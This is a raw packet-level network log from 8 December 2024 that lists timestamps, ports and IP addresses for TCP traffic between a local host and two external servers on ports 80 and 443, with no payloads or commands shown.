Dec 8, 2024 00:48:54.642129898 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:54.642324924 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:54.642383099 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:54.642442942 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:54.642493010 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:54.643177032 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:54.643224955 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:54.643255949 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:54.643301010 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:54.643925905 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:54.644695044 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:54.684623957 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:54.804163933 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.121499062 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.121563911 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.121622086 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.121622086 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.121762037 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.121856928 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.121901989 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.122541904 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.122596979 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.122769117 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.122812986 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.122859001 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.122903109 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.123611927 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.123734951 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.123786926 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.124408960 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.124454021 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.124551058 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.124594927 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.125245094 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.125292063 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.125360966 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.125402927 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.245714903 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.245784998 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.245788097 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.245831013 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.246049881 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.246100903 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.246112108 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.246166945 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.246208906 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.246819973 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.246876955 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.247015953 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.247060061 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.247119904 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.247165918 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.247833967 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.247880936 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.247942924 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.247987986 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.248653889 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.248698950 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.248780012 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.248827934 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.249474049 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.249521017 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.249583006 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.249625921 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.250255108 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.250303030 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.250375032 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.250420094 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.251099110 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.251147032 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.251193047 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.251238108 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.251910925 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.251957893 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.252007961 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.252055883 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.252760887 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.252808094 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.252856970 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.252898932 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.253523111 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.253571033 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.253631115 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.253679991 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.254321098 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.254367113 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.254441023 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.254484892 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.335975885 CET	443	49820	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.336441994 CET	49820	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.336452007 CET	443	49820	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.336860895 CET	49820	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.336867094 CET	443	49820	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.347671032 CET	443	49821	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.347945929 CET	49821	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.347958088 CET	443	49821	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.348361969 CET	49821	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.348366022 CET	443	49821	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.350081921 CET	443	49822	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.350384951 CET	49822	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.350394011 CET	443	49822	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.350760937 CET	49822	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.350765944 CET	443	49822	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.362271070 CET	443	49823	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.362550020 CET	49823	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.362555981 CET	443	49823	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.362876892 CET	49823	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.362879992 CET	443	49823	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.371510029 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.371582031 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.371642113 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.371685028 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.371920109 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.371965885 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.372072935 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.372121096 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.372729063 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.372777939 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.377798080 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.377844095 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.377918959 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.377963066 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.378254890 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.378304958 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.378319025 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.378356934 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.378834963 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.378879070 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.378940105 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.378982067 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.379647970 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.379690886 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.379757881 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.379796028 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.380479097 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.380527020 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.380580902 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.380620956 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.381279945 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.381330013 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.381403923 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.381457090 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.382085085 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.382134914 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.382189035 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.382229090 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.382904053 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.382953882 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.382992029 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.383033991 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.383730888 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.383780003 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.383794069 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.383837938 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.384504080 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.384551048 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.384625912 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.384670019 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.385338068 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.385387897 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.385466099 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.385513067 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.386147022 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.386194944 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.386245012 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.386287928 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.496114969 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.496192932 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:55.496192932 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.496237993 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.597341061 CET	443	49824	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.597723007 CET	49824	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.597734928 CET	443	49824	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.598154068 CET	49824	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.598157883 CET	443	49824	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.769835949 CET	443	49820	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.772914886 CET	443	49820	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.772989035 CET	49820	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.776197910 CET	49820	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.776222944 CET	443	49820	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.776235104 CET	49820	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.776240110 CET	443	49820	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.780126095 CET	49825	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.780188084 CET	443	49825	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.780252934 CET	49825	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.780978918 CET	443	49821	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.781079054 CET	49825	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.781090021 CET	443	49825	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.783540964 CET	443	49822	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.784436941 CET	443	49821	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.784485102 CET	49821	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.784518957 CET	49821	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.784532070 CET	443	49821	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.784543991 CET	49821	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.784548998 CET	443	49821	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.786573887 CET	49826	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.786611080 CET	443	49826	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.786654949 CET	49826	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.786858082 CET	49826	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.786870956 CET	443	49826	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.787100077 CET	443	49822	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.787144899 CET	49822	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.787444115 CET	49822	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.787456036 CET	443	49822	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.787465096 CET	49822	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.787468910 CET	443	49822	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.792300940 CET	49827	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.792309999 CET	443	49827	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.792355061 CET	49827	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.792665005 CET	49827	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.792676926 CET	443	49827	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.804369926 CET	443	49823	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.807327986 CET	443	49823	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.807411909 CET	49823	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.807456017 CET	49823	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.807471037 CET	443	49823	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.807481050 CET	49823	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.807486057 CET	443	49823	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.809176922 CET	49828	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.809201956 CET	443	49828	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.809267044 CET	49828	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.809351921 CET	49828	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:55.809365034 CET	443	49828	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:55.961159945 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:55.961180925 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:56.031795979 CET	443	49824	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:56.034945965 CET	443	49824	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:56.035000086 CET	49824	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:56.035058022 CET	49824	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:56.035075903 CET	443	49824	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:56.035084963 CET	49824	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:56.035094976 CET	443	49824	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:56.037760019 CET	49829	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:56.037782907 CET	443	49829	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:56.037837982 CET	49829	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:56.037961006 CET	49829	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:56.037974119 CET	443	49829	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:56.080754995 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:56.080775023 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:56.888470888 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:56.888541937 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:56.931895971 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:57.051383972 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:57.370421886 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:57.370527029 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:57.370628119 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:57.370739937 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:57.370789051 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:57.373084068 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:57.492566109 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:57.495874882 CET	443	49825	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.498116016 CET	49825	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.498130083 CET	443	49825	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.498501062 CET	49825	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.498506069 CET	443	49825	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.500104904 CET	443	49826	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.502309084 CET	49826	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.502327919 CET	443	49826	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.502887011 CET	49826	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.502892017 CET	443	49826	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.507198095 CET	443	49827	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.509413958 CET	49827	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.509430885 CET	443	49827	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.509846926 CET	49827	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.509851933 CET	443	49827	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.523593903 CET	443	49828	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.525851965 CET	49828	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.525876045 CET	443	49828	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.526196003 CET	49828	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.526201010 CET	443	49828	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.754427910 CET	443	49829	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.754920959 CET	49829	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.754959106 CET	443	49829	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.755372047 CET	49829	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.755382061 CET	443	49829	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.811463118 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:57.813429117 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:57.836203098 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:57.929672003 CET	443	49825	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.932930946 CET	443	49825	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.933022976 CET	49825	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.933235884 CET	49825	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.933250904 CET	443	49825	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.933264017 CET	49825	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.933269024 CET	443	49825	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.933609962 CET	443	49826	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.935759068 CET	49830	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.935791016 CET	443	49830	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.937163115 CET	443	49826	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.937237978 CET	443	49826	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.937257051 CET	49830	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.937258005 CET	49826	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.937293053 CET	49826	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.937306881 CET	49826	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.937314034 CET	443	49826	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.937323093 CET	49826	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.937325954 CET	443	49826	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.937469006 CET	49830	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.937482119 CET	443	49830	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.938994884 CET	49831	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.939040899 CET	443	49831	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.939110041 CET	49831	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.939223051 CET	49831	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.939234972 CET	443	49831	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.941231012 CET	443	49827	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.944637060 CET	443	49827	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.947091103 CET	49827	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.947109938 CET	49827	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.947115898 CET	443	49827	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.947124004 CET	49827	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.947129011 CET	443	49827	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.948713064 CET	49832	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.948736906 CET	443	49832	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.948806047 CET	49832	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.948903084 CET	49832	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.948915005 CET	443	49832	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.955713987 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:57.957467079 CET	443	49828	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.960817099 CET	443	49828	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.960869074 CET	443	49828	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.960886002 CET	49828	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.960922956 CET	49828	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.961091995 CET	49828	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.961100101 CET	443	49828	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.961111069 CET	49828	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.961116076 CET	443	49828	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.962901115 CET	49833	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.962932110 CET	443	49833	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:57.963001013 CET	49833	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.963100910 CET	49833	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:57.963110924 CET	443	49833	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:58.190506935 CET	443	49829	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:58.193629980 CET	443	49829	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:58.193705082 CET	49829	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:58.193775892 CET	49829	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:58.193794012 CET	443	49829	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:58.193805933 CET	49829	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:58.193811893 CET	443	49829	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:58.196297884 CET	49834	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:58.196336031 CET	443	49834	13.107.246.63	192.168.2.7
